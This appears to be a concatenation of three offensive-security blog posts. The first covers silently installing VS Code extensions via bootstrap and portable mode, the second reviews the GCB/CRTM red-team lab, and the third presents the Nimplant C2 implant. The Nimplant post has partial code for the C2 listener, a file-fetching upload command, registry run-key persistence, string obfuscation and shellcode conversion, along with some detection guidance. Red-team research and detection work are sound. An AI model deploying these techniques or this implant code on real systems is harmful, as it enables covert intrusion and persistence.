The Threat of VS Code Extensions

It’s no secret that the popularity of VS Code brings a lot of risk exposure in the form of its plugin system. Threat actors and researchers alike have been happily abusing it to target developers - even your favorite dark theme is not safe.

Of course, this type of threat is inherent to allowing untrusted (or semi-trusted?) code to run within a trusted process. As attackers, it’s very enticing to be able to run our own code inside of the trusted, signed, and highly prevalent process “Code.exe”. This process is also known to perform a variety of activities, like call out to the Internet, spawn shells as child processes, and continually interact with local and remote filesystems. This makes it hard for defenders to fingerprint what constitutes benign versus malicious behavior, and by extension makes it easier for us as attackers to “blend in” with the noise.

Creating malicious Code extensions is outside of the scope of this post. However, creating custom VS Code extensions is easy, the team even has a great getting started guide for it. You’ll manage. 😉

VS Code Extensions for Initial Access

(Un)fortunately, getting a malicious plugin installed is not as arbitrary as it may seem. Clearly, the VS Code team is aware of this threat, and a number of measures are taken to reduce the risk of a malicious extension inadvertently being installed. There are however several ways of increasing the likelihood of a successful installation: the team over at MDSec has an excellent blog post highlighting various delivery techniques including the VS Code URL handler that still work today. Even so, getting a user to install your plugin triggers various prompts that require some clever social engineering to navigate. In the recent January release, the VS Code team added yet another prompt that needs to be accepted for every plugin publisher:

VS Code’s “Bootstrap” Feature

However, there is a trick to get around these prompts and quietly install your plugin. This trick comes in the form of VS Code’s bootstrapping functionality, which enables enterprise users to install new instances of VS Code with pre-packaged extensions. As the documentation describes, bootstrapping a new install of VS Code is as simple as creating a ./bootstrap/extensions folder within your VS Code installation directory and dropping the .vsix (extension) files in there. This installs the extension(s) on first boot, bypassing any prompts (including the new publisher trust prompt). This has the added benefit of not requiring the extension to originate from the marketplace, which is obviously a great thing when deploying malicious extensions as it bypasses the need for publisher or security checks.

However, there is an issue with this method. While it works well for a “Bring-Your-Own” installation of VS Code, it does not work on systems where VS Code is already installed. This is because the ExtensionsInitializer (source) stores a value in the StorageTarget.Machine field, which is machine-specific (on Windows it equates to %AppData%\Code). This field ensures the ExtensionsInitializer only runs on first boot, meaning we are out of luck if the key is set on subsequent runs. Or are we?

Note: Removing the %AppData%\Code directory does “reset” the settings in StorageTarget.Machine, and makes it so the bootstrap functionality works even for users who have extensions configured in their user profile (which is typically in %USERPROFILE%\.vscode), merging the bootstrapped extensions with their own. However, this directory contains other important configuration data such as the settings.json file, so taking this approach is not recommended. If you want to persist within a user’s existing profile, backdooring the user’s extensions.json is probably the better route.

Making It Portable

To bootstrap extensions on a machine where VS Code is already installed and initialized, we can (ab)use VS Code’s “portable” functionality. As described on this page, a VS Code installation becomes portable simply when a ./data directory exists within it. If this is the case, it will use this directory to store both user AND machine preferences. This means that if this directory is empty, VS Code will assume it is a new installation and trigger the bootstrapping process!

This unlocks a variety of attack scenarios that could be interesting for initial access or persistence. An attacker could use the legitimate VS Code installation zip (or bring their own), and simply inject the ./data and ./bootstrap/extensions directories to silently install and run the malicious extension. Alternatively, bootstrapping could be abused to inject an extension in the user’s existing VS Code installation (see caveat below), then use the extension to restore the user’s normal environment. All without any prompts or warnings!

Note: In my testing it was not possible to simply create a ./data directory in the default VS Code installation folder to convert it to a portable install. Analyzing the portability source code (source), this appears to be because the following value evaluates to False:

const isPortable = !('target' in product) && fs.existsSync(portableDataPath);

Analyzing the flow of the logic, we can see that the product object is instantiated from the product.json file (source), which exists in the ./resources/app folder in the installation folder. For installations that were done using the installer, this file will have a value like like "target": "user", which effectively ignores our bootstrapping.

We can confirm that this is the case by removing the "target" line in product.json, and attempting to bootstrap the installation directory again. Now the bootstrapping works, and we can bootstrap into an existing VS code installation!

Prevention and Detection

VS Code outlines how you can use Windows Group Policy to configure various settings, including allowed extensions. Doing so allows you to specify certain publishers, extensions, or even extension versions that will be allowed in your organization. This does require some setup and maintenance, but it is probably the best line of defense against all sorts of plugin-based attacks. Unfortunately there are no filters for extension prevalence or verified publishers, but the VS Code team states they are open to suggestions if that’s a need for your organization.

Now, I’m no expert in terms of detection, but it seems to me like the behavior of VS Code is pretty hard to fingerprint due to the broad spectrum of use cases it has. As such, detecting uncommon child processes of Code.exe for example may be quite challenging - it’s very common for Code to be spawning shells after all. Avenues of detection may be the following:

• Creation of a ./bootstrap/extensions folder inside an existing VS Code installation directory
• Creation of a ./data folder inside an existing VS Code installation directory
• Execution of Code.exe from a non-default installation directory
• Creation of any *.vsix files from a non-Code process

(Suggestions welcome! Feel free to share any ideas and I’ll add them to this blog post)

Introduction

The “Global Central Bank” (GCB) labs and accompanying “Certified Red Team Master” (CRTM) certification are definitely something else. It is more or less the “level-up” from the respective “Attacking and Defending Active Directory” (CRTP) and “Windows Red Team Lab” (CRTE) courses, also provided by AlteredSecurity. GCB is the hardest of the three, so if you’re looking for more beginner-friendly material, you’re probably better off reading my blog post on CRTP instead.

AlteredSecurity calls GCB a “Cyber Range” rather than a course, and I definitely have to agree with them. The labs are the main focus of the course, followed by the certification exam. There is not much courseware included, the participant is only provided with 9 videos (totaling 3 hours) covering certain topics that are relevant in the labs. These videos only serve as a primer, as you will for sure have to do your own research when tackling the labs (or the “Cyber Range” if you’re into that business lingo 😉).

The Labs

The labs make up the bulk of the certification, and it is without a shadow of a doubt where the value lies. The lab environment is immense, covering 26 machines spread out over 9 Active Directory domains in 7 forests. The focus of the labs is exploitation of modern and hardened Windows and Active Directory environments. It is designed to be exploited manually through the RDP foothold that you get, but it’s doable (and very fun) to do with a C2 framework as well.

In the labs, you will encounter a whole range of modern (security) technologies. You will come across technologies with spooky acronyms such as Local Administrator Password Solution (LAPS), Just Enough Administration (JEA), Windows Defender Application Control (WDAC), Attack Surface Reduction (ASR), Application Whitelisting (AWL), Windows Server Update Services (WSUS), Hyper-V & Windows Subsystem for Linux (WSL), and Credential Guard (CG). Besides that, you will see “the usual” AD trickery, including delegation abuse, misconfigured privileges or ACL, roasting attacks, etcetera.

All of the above is packed into an environment that reflects that of a large and mature enterprise. A major component of this is strict firewalling, which restricts traffic between (and sometimes within) forests. It is up to you to find the holes in the firewall and jump the forest boundary by exploiting the technologies outlined above. In short: lots of fun!

Of course, a lab of this magnitude doesn’t come without flaws. Several exploitation steps in the lab feel contrived and designed to showcase certain technologies, rather than mimicking real enterprise environments. This includes the firewall rules in the lab, that often feel overly restrictive to the point where it doesn’t make much sense (for example a firewalled server that can reach port 80 on your foothold machine 🤔). This results in some nasty situations where you have to blindly guess which ports will be open for a reverse connection. For some steps, you also have to make other blind assumptions (e.g. phishing payloads), which can become frustrating at times.

Additionally, the lab only has one final objective. There is no split into sub-objectives or challenges like there is with CRTP and CRTE, for example. While this has the advantage of making the lab more “free-form”, it also sometimes makes it a bit too unclear what the next step will be. Solid enumeration and post-exploitation methodology definitely helps gather the information that you need, but this also involves port-scanning a /16 IP range with ICMP disabled over VPN which is definitely not fun.

Despite these occasional frustrations, though, the labs are very challenging and fun to do. The numerous exploitation steps are diverse and very satisfying to complete. The lab is far from easy, and you will definitely have to ask for hints at various points (I know I did). If you are looking for a challenge lab that mimics a large enterprise environment and showcases a lot of modern technologies, the GCB labs are it.

The Exam

The CRTM certification exam is different from a lot of other course exams in that it includes two parts. The first part is compromising several machines across multiple forests by getting low- or high-privileged command execution. The second part is fixing the vulnerabilities you identified, as well as implementing some ‘client requirements’ that are shared in advance. In total, you get 48 hours to complete the practical part, and 48 hours after that to hand in your report.

Given all of the exciting stuff covered in the labs, the exploitation part of the exam felt a bit bland. The exploitation steps are way easier than those in the labs, and not as much fancy technologies are brought out to play. Because of this, it feels more or less the same as the CRTP or CRTE exams, where you use your low-privileged RDP foothold to escalate your privileges and move laterally (not necessarily in that order), as well as jump the forest boundary by abusing AD misconfigurations.

The mitigation part however was a lot of fun to do. Fixing vulnerabilities is definitely not something I’m used to doing, so it was a nice change of pace from the other certs I’ve done. For this part of the exam you will be rummaging around on target computers and domain controllers to patch the issues you identified and implement some specific features as requested by the “client”. Nothing you do in this part of the exam will be very hard, but it will definitely help solidify your understanding of certain technologies.

To achieve the CRTM certification, an exam report has to be submitted. This report should extensively discuss both the exploitation and mitigation parts in such a way that your thought process is clear and your steps are reproducible. I (again) used a similar approach to the one described in this blog post, drafting my exploitation and remediation notes in Markdown and converting them to a pretty report after completing the exam. This way, creating the exam report didn’t cost a lot of time beyond the hours spent in the labs.

In total, I spent about 8 hours in the exam labs for the exploitation and remediation parts, and compiling the report took me approximately two more hours on top of that. I can see some rabbit holes taking more time, but 48 hours for the practical part of the exam should be more than plenty in most cases!

The Verdict

Overall, the exam was fun to do but the offensive part was a bit of a letdown. It feels like the exam could have been quite a bit more challenging if the requirement “you have to fix everything you abuse” was dropped. The main part of GCB is for sure the labs, and because of that I’m not sure if the CRTM certification “proves” a lot of skill if one didn’t complete the labs. Overall though, GCB is very fun to do and the CRTM certification is a nice cherry on top. Let’s see if AlteredSecurity will come up with an even more challenging lab in the future (looking at you Nikhil 😁)!

For a while now I have been playing with the programming language Nim in the context of Offensive Security. Nim is a relatively young and fairly unknown programming language that has a syntax quite similar to Python’s, so is very easy to pick up. It however offers the flexibility and low-level capabilities of languages like C/C++, and has a great foreign function interface. On top of that, it compiles to native C (as well as some other languages), which results in native binaries that are quite slim. This makes it very suitable for malware development, especially for scrubs that are too scared of C/C++ to write any proper program in those languages (like me!).

My early work in Nim was very inspired by byt3bl33d3r and his OffensiveNim repository. In getting started, this repository is a true goldmine of code snippets and examples that you might need. It has examples on execution methods, integration with the Windows API, bypasses, and some other great malware tricks. Inspired by this repository I started to work on a malware packer/dropper, that could both execute raw shellcode and .NET binaries in a way that evades AV and most EDRs. Dubbed NimPackt, this project turned out quite well and is actively used in our red team operations to generate evasive binaries. Though that means I want to avoid sharing the full source code to prevent fingerprinting for now, I might do a blog post about it one day (if there’s enough interest).

If you want to get started with malware development in Nim yourself, I can recommend this blog post by HuskyHacks, which explains how to set up a Nim development environment and build your first process injector using Nim. Beyond that, the OffensiveNim repository linked above should definitely help you build more advanced tools.

Why another C2?!

Command and Control (C2) frameworks have been popping up left and right in the offensive security tooling landscape. On a high level, a C2 allows you to communicate with malware implants remotely, typically in a client-server type of architecture. The C2 channel, as well as the type of implant and functionality, can differ wildly per C2 framework. Most frameworks are however designed to be flexible and extensible, and can be adapted to your needs. Some frameworks are commercial and closed-source (Cobalt Strike), but there are many open-source alternatives available. A good overview of solutions and capabilities is provided in the C2 matrix.

If there are so many free and flexible C2 frameworks, why build another one? Good question, reader! I’m sure that my goals (see next section) could’ve been achieved by extending or modifying an open-source framework. However, adapting or extending an existing framework requires you to thoroughly understand the framework and its features, which requires a significant time investment either way. Additionally, the downside of open-source tooling is that defenders have the same access to it as us red-colored folk do - therefore it tends to be quickly fingerprinted.

As much as I would like to open-source Nimplant, I cannot do that just yet for this reason. I will try my best to share the most interesting code snippets so you can build your own (or work on detection rules 👀). Once we “retire” Nimplant from production use, I will make sure to open-source it.

Building your own C2, on the other hand, brings a couple of advantages. First and foremost it is a fun learning project which allows you to challenge yourself to explore the edges of your ability. Additionally, building your own C2 allows you full control over the tactics, techniques, and procedures (TTPs) applied in your framework, and by extension the indicators of compromise (IOCs) that you will leave in your client’s environment. Though it comes at the cost of a sizeable time investment, this was enough for me to “roll” my own C2 in Nim.

Introducing Nimplant - a lightweight implant and C2 framework

With all that out of the way, let’s get to the meat ’n’ potatoes of this post - Nimplant! Nimplant is what I dubbed the C2, obviously (and very unoriginally) because of the implant written in Nim. As it turns out, I wasn’t the first with this idea…

Ironically I also built a stage 0 implant in nim called nimplant 😆 never quite finished it tho, as with many projects 🤣 UIs looking sharp 😎

— Dominic Chell 👻 (@domchell) July 11, 2021

Nimplant is meant for use as a first-stage implant. This means that it is typically used for an initial infection, before dropping more elaborate malware such as a Cobalt Strike beacon. This use case poses a couple of requirements for the implant:

• It has to be lightweight. Operators should for example be able to drop it through a macro-enabled Office document, without arousing too much suspicion (looking at you Go, with your 5MB binaries…).
• It has to be evasive. Stage-1 implants are commonly used when little is known about a target environment - including which defensive products are in use. As such, the implant should be able to evade most common defensive products without much adaptation.
• It has to be functional. At the very minimum, the implant needs to be able to collect information about a target environment to aid in further operations, such as the domain name and any defensive products that are in use. Preferably, the implant should also allow an operator to deploy further malware stages without the need for re-infection (i.e. phishing a second time).

Nimplant was designed to fulfil these requirements as efficiently as possible. The design philosophy of Nimplant is quite simple: “evasion through benign functionality”. Many implants have functionality to aid with further exploitation and evasion, such as the option to inject shellcode into other processes, or the usage of direct syscalls to evade defenses. While very useful in practice, employing functionality like this greatly increases the risk of detection.

The idea behind Nimplant is to only allow functionality that is considered benign and could be applied by legitimate (remote access) tooling. So no shellcode executions, but basic filesystem, WMI, and registry operations instead. This will allow operators to collect the information they need, as well as give them the flexibility to drop further malware or persistence (e.g. through registry run-keys, DLL sideloading, or the classic startup folder). While this limits some of the possibilities for in-memory execution and evasion tradecraft, this is considered an “accepted risk” for the intents and purposes of Nimplant. This also opens up some possible avenues for detection, which I will discuss towards the end of this post.

Of course, any tool that we deploy in a client’s environment needs to adhere to the highest standards for operational security (“opsec”). This is especially true since the implant will communicate with a server over the internet - you don’t want to inadvertently leak sensitive information on the client’s environment out to the internet! Some measures related to opsec are listed in the following sections.

The Tech Stuff!

While all of the above sounds pretty nice, I’m sure you didn’t come to this blog post for just talk about some theoretical C2 implant. In this section, I will share some of the more interesting technical details of Nimplant, as well as some of the mistakes that I made during development (so you don’t have to).

Like most typical C2, Nimplant functions in a client-server architecture over HTTP(S). Because the implant and server are two components that are quite distinct, we will review both separately.

The C2 Server

Though I’ve been raving about Nim for most of this post, I built the actual C2 server in Python. Reason for this is I’m much more comfortable with Python overall, and it’s quite a bit more mature as a language than Nim. Though Nim has the several advantages listed earlier in this post, these advantages are less applicable for the server component as it will not be compiled and/or deployed within the client’s environment.

For the web server, I went with Python’s Flask framework. Flask is very easy to pick up, and makes it easy to expose endpoints with a variety of functionality. In reality there are two Flask servers running, one supporting the Nimplant listener and one supporting the GUI (see below). At a very high level, the Flask server for Nimplant listener looks like this.

# Define a new Flask server to run in its own thread
def flaskListener():
    @app.route(registerPath, methods=['GET', 'POST'])
    def getNimplant():
        # This endpoint is used for Nimplant registration.
				# If a Nimplant matches expected properties, the key exchange will happen.
				# After that, Nimplant will submit it's (encrypted) registration info.

    @app.route(taskPath, methods=['GET'])
    def getTask():
				# This endpoint is used to communicate tasks to Nimplant.
				# It will verify integrity, then return an encrypted task (if available).

    @app.route(resultPath, methods=['POST'])
    def getResult():
        # This endpoint retrieves and parses encrypted results from Nimplant.

    app.run(host=listenerIp, port=listenerPort)

You will notice that the actual addresses of endpoints (e.g. www.yourc2.com/register), as well as the server IP and port, are configurable. These properties are parsed from the config.toml file, which is shared between a C2 server and its Nimplants. Because this configuration file is shared, it allows the server to perform integrity checks based on the properties of incoming web requests, such as the User-Agent or HTTP headers. Unexpected requests are dropped, making it harder for incident responders to actually interact with the C2 server.

Special attention should be paid to the initial key exchange, which happens when a Nimplant first checks in. Since every Nimplant has a unique encryption key associated with it, the server shares this key as part of the getNimplant() function. We don’t want to transmit this key in plain-text, even if HTTPS is used. This is because we operate under the assumption that our client has insight into their network traffic by means of a web proxy or similar device that allows for SSL inspection (which is true for most mature clients). As such, the initial key exchange itself is encrypted with a key that is established when the Nimplant is first generated. After this exchange, Nimplant will use its unique key to AES-encrypt all subsequent traffic.

The C2 server will keep track of Nimplants through the use of classes - every Nimplant corresponds to one instance of the Nimplant class, which has a variety of properties for Nimplant. A snippet of the class, along with some of its helper functions, is as follows.

class NimPlant:
		# Initialize a new Nimplant object, use data from config where applicable
    newId = itertools.count(start=1)
    def __init__(self):
        self.id = str(next(self.newId))
        self.guid = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(8))
        self.active = False
        self.ipAddrExt = None
        self.ipAddrInt = None
        self.username = None
        self.hostname = None
        self.osBuild = None
        self.pid = None
        self.sleepTimeSeconds = sleepTimeSeconds
        self.killTimeHours = killTimeHours
        self.firstCheckin = None
        self.lastCheckin = None
        self.task = None
        self.hostingFile = None
        self.cryptKey = # secret sauce omitted 👀

		# Populate the Nimplant object with information based on first check-in
    def activate(self, ipAddrExt, ipAddrInt, username, hostname, osBuild, pid):
        self.active = True
        self.ipAddrExt = ipAddrExt
        self.ipAddrInt = ipAddrInt
        self.username = username
        self.hostname = hostname
        self.osBuild = osBuild
        self.pid = pid
        self.firstCheckin = timestamp()
        self.lastCheckin = timestamp()
				# 'nimplantPrint' is a custom function to properly direct output to console or a Nimplant's log
        nimplantPrint(f"NimPlant #{self.id} ({self.guid}) checked in from {username}@{hostname} at '{ipAddrExt}'!")
        nimplantPrint(f"OS version is {osBuild}.")

		# Process a 'regular' Nimplant check-in
    def checkIn(self):
        self.lastCheckin = timestamp()
        if self.task is not None:
            if self.task == "kill":
                self.active = False
                nimplantPrint(f"Nimplant #{self.id} killed.", self.guid)

		# Process the result for a certain Nimplant
    def setResult(self, result):
        if result == "NIMPLANT_KILL_TIMER_EXPIRED":
            self.active = False
            nimplantPrint("Nimplant announced self-destruct (kill timer expired). RIP.", self.guid)
        else:
            nimplantPrint(result, self.guid)

As you can see, most information about a Nimplant is populated through the activate() function which is triggered on first check-in. There are some checks in the various functions, which for example take care of killing a Nimplant when either the exit or kill commands are provided or the Nimplant’s self-destruct timer expired. To keep track of the various Nimplants that have checked in as well as their respective statuses, there is also a NimplantList class available.

Information from both of these classes is made accessible by an internal API. This API supports both the command-line interface (CLI) and the graphical user interface (GUI), discussed below. Because I focused only on the CLI when I started developing, it was quite a hassle to modify the codebase to support a generic API at a later point. If you’re starting a project like this, don’t make the mistake that I made: focus on writing modular and extensible code right from the start! It may take some more effort, but it will pay out in the long run.

It goes without saying that the server handles quite a bit more functionality, such as parsing commands, file uploads, cryptographic operations, and logging all executed commands and the resulting output. It is beyond the scope of this blog post to discuss all of that functionality here.

The Web Interface

Before I start bragging about how cool the web interface of Nimplant is, I have to give credit where credit’s due: all of the front-end work was done by my colleague Kadir.

While a CLI to manage implants is cool, a proper C2 needs an interface that supports multiple operators working on multiple implants at the same time. Most frameworks expose a web interface for this purpose, which is exactly what Nimplant does. As mentioned above, a second Flask server is initialized to expose the Nimplant API as well as the web interface.

The web interface is built with the Vue.js framework, supported by TailwindCSS and some pre-built components from TailwindUI. The interface is completely responsive, and could therefore even be used on mobile devices (for those on-the-go assignments). The front-end communicates with the Nimplant API to retrieve data on the current server configuration and Nimplant status. Each Nimplant has its own console, which is also exposed through the API and shown in the web interface. Of course, operators can submit commands to be executed. They also have the option to see the command history for a Nimplant as well as commands executed by other operators.

As with other C2 frameworks, a high level of care should be taken when exposing this type of interface to the internet. While the C2 listener should be reachable over the internet (preferably behind a redirector to hide the actual infrastructure), the Nimplant web interface should be considered a management interface. As such, it should only be available to a select group of operators, for example from a dedicated VPN.

The Implant

While the implant-part of Nimplant is the meat on the bone for the solution, I tried to keep it as ‘slim’ as possible. Altogether, the implant part is under 1000 lines of Nim code and compiles to a binary of approximately 200KB. Nevertheless, it contains some cool features that operators can use for their “stage-1” shenanigans. A couple of neat features are highlighted below.

File operations

File operations consist of a variety of commands, based on their Linux counterparts. The commands related to file operations in Nimplant include cat, cd, cp, ls, mkdir, mv, pwd, and rm. The implementation of these actually isn’t all too interesting, since most functionality is wrapped by Nim’s os library.

The biggest challenge I encountered for (some) of these commands was argument parsing. Take for instance the cp command, which copies a file from one place to another. In principle this is a straight-forward task. However, the command takes a source and destination parameter, the source can be both a file and a folder, and the destination can be both a partial destination (parent folder), or the new file/folder name. The function then becomes something like the following.

from os import copyDir, copyFile, copyFileToDir, dirExists, splitPath, `/`
from strutils import join

# Copy files or directories
proc cp*(args : varargs[string]) : string =
    var
        source : string
        destination : string

		# Parse expected number of arguments (2 or more)
    if args.len >= 2:
        source = args[0]
				# If >2 arguments are given, join them as the second argument
				# This happens for e.g. an unquoted path with spaces
        destination = args[1 .. ^1].join(" ")
    else:
				# Error out if too few arguments are provided
        result = "Invalid number of arguments received. Usage: 'cp [source] [destination]'."
        return

    # Copying a directory
    if dirExists(source):
        if dirExists(destination):
						# Copy the directory into the existing directory as its current name
            copyDir(source, destination/splitPath(source).tail)
        else:
						# Copy the file as the provided directory name
            copyDir(source, destination)

    # Copying a file
    elif dirExists(destination):
				# Copy the file into the existing directory as its current name
        copyFileToDir(source, destination)
    else:
				# Copy the file as the provided filename
        copyFile(source, destination)
    
		# Setting 'result' will make the function return with that result in Nim
    result = "Copied '" & source & "' to '" & destination & "'."

Note the use of varargs in the function parameters. This type allows us to receive one to many commands from the C2 server inside of an array, This allows us to parse commands and deal with possible exceptions inside the function itself.

‘Whoami’ command

While not too interesting on itself, the whoami command provides a nice use case of using benign Windows APIs to achieve your goals. Nimplant’s implementation, quite simply, uses the GetUserName API to retrieve the user’s name.

from winim/lean import GetUserName, LPWSTR, DWORD, TCHAR
from winim/utils import `&`

# Get the current username via the GetUserName API
proc whoami*() : string =
    var 
        buf : array[257, TCHAR] # 257 is UNLEN+1 (max username length plus null terminator)
        lpBuf :  LPWSTR = addr buf[0]
        pcbBuf : DWORD = int32(len(buf))

		# The actual API call
    discard GetUserName(lpBuf, &pcbBuf)

		# Read the buffer into the function result
    for character in buf:
        if character == 0: break
        result.add(char(character))

Winim is used to ease the pain of manually defining the right structures and importing the right functions from the Windows API. However, there is one important note to make here regarding OPSEC: Importing full modules from libraries like winim makes it so that your binary becomes bloated with unnecessary function import statements - including imports that can be considered malicious by antivirus. I found that specifically selecting your imports (as shown above) helps reduce the fingerprint of your binary, while increasing overall evasion.

‘GetAV’ command

The GetAV command is an example of a convenience command I added for operators to more quickly gain a lay of the land once they get a callback from a machine. It’s almost equivalent to byt3bl33der’s wmiquery_bin example from OffensiveNim, except it parses the output a bit different. It also serves as a nice example of how easy it is to ‘plug in’ new commands once you have the base structure of parsing input and output down.

import winim/com
from strutils import strip

# Get antivirus products on the machine via WMI
proc getAv*() : string =
    let wmisec = GetObject(r"winmgmts:{impersonationLevel=impersonate}!\\.\root\securitycenter2")
    for avprod in wmisec.execQuery("SELECT displayName FROM AntiVirusProduct\n"):
        result.add($avprod.displayName & "\n")
    result = result.strip(trailing = true)

Unfortunately, in this instance we have to import the entire winim/com library, since it exports some types that cannot be imported individually (at least, I didn’t find out how).

‘Reg’ command

The reg command is one of the more complex commands that’s included in Nimplant. It builds upon Nim’s registry library to perform registry operations. This library is fairly straight-forward, as it only allows us to get or set variables in the HKCU or HKLM registries, which is fine for the purposes of Nimplant. The relative complexity inside this command comes from the fact that one command supports both reading and writing registry values, so the arguments need to be properly parsed to implement this functionality.

import registry
from strutils import join, split, startsWith

# Query or modify the Windows registry
proc reg*(args : varargs[string]) : string =

    var
        command : string
        path : string
        key : string
        value : string
        handleStr : string
        regPath : string
        handle : registry.HKEY

    # Parse arguments
    case args.len:
        of 2:
            command = args[0]
            path = args[1]
        of 3:
            command = args[0]
            path = args[1]
            key = args[2]
        of 4:
            command = args[0]
            path = args[1]
            key = args[2]
            value = args[3 .. ^1].join(" ")
        else:
            result = "Invalid number of arguments received. Usage: 'reg [query|add] [path] <optional: key> <optional: value>'."
            return

    # Parse the registry path
    try:
        handleStr = path.split("\\")[0]
        regPath = path.split("\\", 1)[1]
    except:
        result = "Unable to parse registry path. Please use format: 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run'."
        return

    # Identify the correct hive from the parsed path
    if handleStr.startsWith("HKCu"):
        handle = registry.HKEY_CURRENT_USER
    elif handleStr.startsWith("HKLM"):
        handle = registry.HKEY_LOCAL_MACHINE
    else:
        result = "Invalid registry. Only 'HKCU' and 'HKLM' are supported at this time."
        return

    # Query an existing registry value
    if command == "query":
        result = getUnicodeValue(regPath, key, handle)

    # Add a value to the registry
    elif command == "add":
        setUnicodeValue(regPath, key, value, handle)
        result = "Successfully set registry value."

    else:
        result = "Unknown reg command. Please use 'reg query' or 'reg add' followed by the path (and value when adding a key)."

Example usage of this command for “persistence” (calc.exe ftw) is shown below.

‘Upload’ command

The upload command is interesting because it requires a modification in server behavior. In essence, it is almost the same as the wget command, which downloads a file from a remote source. However, in case of upload, a file is temporarily hosted on the C2 for the implant to download (it is called “upload” because downloading a file on the implant is ‘uploading’ it from the operator’s perspective).

Because compiling the native web library with SSL support is wholly broken in Nim, I resorted to using the excellent Puppy library for all web interactions, including C2 traffic and web-based commands like curl or wget. This library which uses the WinHTTP API under the hood, so it should blend in quite well. It also supports transparent Gzip deflation, which is utilized to compress the file in-transit.

The command is executed in two phases. First, when the upload command is received by the C2 server, it parses the file to upload, GZip-compresses it, and makes it available for download after providing it with a unique ID. This ID is then passed on to the implant along with the upload command, allowing it to find and download the file. Because WinHTTP is used for the transfer, it looks like a regular file download from a networking perspective.

Because of this, the Nim code is relatively straight-forward. The bulk of it is again parsing parameters and determining the destination on disk, this time with the addition of parsing some settings from the listener configuration.

import puppy
from strutils import join, split
from os import getcurrentdir, `/`
from ../util/webClient import Listener

# Upload a file from the C2 server to Nimplant
# From Nimplant's perspective this is similar to wget, but calling to the C2 server instead
proc upload*(li : Listener, args : varargs[string]) : string =
    var 
        fileId : string
        fileName : string
        filePath : string
        url : string
        res : string

		# The command is passed as 'upload [localfile] <remotedestination>'
		# It is however transmitted as 'upload [file-identifier] [originalfilename] <remotedestination>'
    if args.len == 2 and args[0] != "" and args[1] != "":
        fileId = args[0]
        fileName = args[1]
        filePath = getCurrentDir()/fileName
    elif args.len >= 3:
        fileId = args[0]
        fileName = args[1]
        filePath = args[2 .. ^1].join(" ")
    else:
        # Handling of the second argument (filename) is done by the python server
        result = "Invalid number of arguments received. Usage: 'upload [local file] [optional: remote file]'."
        return
    
		# Parse the staging server from the configuration file
    url = li.listenerType & "://"
    if li.listenerHost != "":
        url = url & li.listenerHost
    else:
        url = url & li.listenerIp & ":" & li.listenerPort
    url = url & li.taskpath & "/" & fileId & "?id=" & li.id

    # Download the file - Puppy will take care of transparent gzip deflation
    res = fetch(
            url,
            headers = @[Header(key: "User-Agent", value: li.userAgent)]
            )
    
    if res == "":
        result = "Something went wrong uploading the file (Nimplant did not receive response from staging server '" & url & "')."
        return
    else:
        filePath.writeFile(res)
        result = "Uploaded file to '" & filePath & "'."

Defense Evasion

As mentioned earlier on in this post, the idea behind Nimplant is to minimize malicious functionality. This includes defense evasion tricks that, when spotted by a defender, reveal the true nature of Nimplant. I did however choose to include a variant of nim-strenc, a library that implements a macro that XOR-encodes static strings at compile time. I’d recommend to take a look at the code, it’s a pretty good example of how powerful compile-time macro’s can be in Nim.

Though this results in a collection of strings that may look suspicious on manual inspection, it has several advantages. First, it hides semi-sensitive string values from prying eyes, unless an analyst is brave enough to open up a debugger. Additionally, the random seeds for XOR-encoding ensure that the fingerprint of Nimplant is different every time it is compiled, even if the same configuration is used. This helps prevent static fingerprinting of the binary by e.g. the MD5 hash of the file. Finally, using XOR does not affect the entropy value of the binary - an important measure for determining if encrypted and potentially malicious content is present in a binary. Overall, this results in a net benefit for Nimplant where some degree of obfuscation is achieved while limiting the amount of suspicious indicators.

The Wrapper

The last component of Nimplant is a wrapper script that helps users with compiling the appropriate binaries (after correctly configuring the shared config.toml file), and setting up the C2 server. It supports a variety of compilation options, including .exe, .dll, and .bin. The first two are supported natively by Nim, and are implemented through a compile-time flag in the main Nim function, as follows.

when defined exportDll:
		# Manually define the NimMain() function for garbage collection (thanks OffensiveNim)
    proc NimMain() {.cdecl, importc.}

		# Define an exported function that can be used to trigger the DLL
		# In this example, one would run 'rundll32 .\file.dll,Connect' to execute
    proc Connect(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID) : bool {.stdcall, exportc, dynlib.} =
        NimMain()
        runNp()
        return true

else:
		# Structure the binary as a regular executable
    when isMainModule:
        runNp()

The compilation helper function basically just constructs the Nim compilation command, accounting for any compile-time and cross-compilation flags that may be needed. If position-independent shellcode is requested as an output format (useful when using other shellcode packers, like Nimpackt 😏), the ConvertToShellcode function from the excellent ShellcodeRDI.py is used to convert a freshly generated Nim DLL file to shellcode. Though this is a pretty well-documented technique by now that brings some obvious OPSEC risks, it seems to work quite well in the situations that it’s needed. The compilation helper function looks like this.

def compileNim(type):
    if (type == "exe" or type == "dll"):
				# Define base compilation command
        compileCommand = "nim c --hints:off --warnings:off -d:release -d:strip --opt:size --passc=-flto --passl=-flto --app:gui -o:client/bin/"

        if type == "dll":
						# Add flags for DLL compilation
						# The '-d:exportDll' flag triggers the 'when defined' statements shown above
            compileCommand = compileCommand + " --app=lib --nomain -d:exportDll"

        if os.name != "nt":
						# Use cross-compilation from Linux using MinGW
            compileCommand = compileCommand + " -d=mingw"

        compileCommand = compileCommand + " client/NimPlant.nim"
        os.system(compileCommand)

    elif (type == "raw"):
				# Generate PIC from Nim DLL using sRDI
        if not os.path.isfile("client/bin/NimPlant.dll"):
            compileNim("dll")

        dll = open("client/bin/NimPlant.dll", "rb").read()
        shellcode = ConvertToShellcode(dll, HashFunctionName('Connect'), flags=0x5)
        with open("client/bin/NimPlant.bin", "wb") as f:
            f.write(shellcode)

    else:
        print("ERROR: Unrecognized compile type.")

If the user has prepared the binaries that they want, they are ready to start the server. Of course, the same script offers a convenient server flag to launch the server, which will use the same config.toml used to generate the Nimplant files. The operator is now ready for action!

Detection Guidance

Now, since I’m one of those pesky red teamers and Nimplant will be used in red teaming engagements, I cannot share specific IOCs. That would just be shooting myself (and several others) in the foot. However, as I’m not all bad, I will try to put on my best blue hat and share some generic detection guidance.

As with all detection, it is preferable not to focus on the detection of specific tools, but rather try to develop generic rules that catch certain techniques. Nimplant is no exception to this, as its techniques for establishing C2 communications and managing commands aren’t at all new. As such, if you see an untrusted binary or unusual process calling out to the internet and subsequently executing suspicious commands - that’s something to investigate.

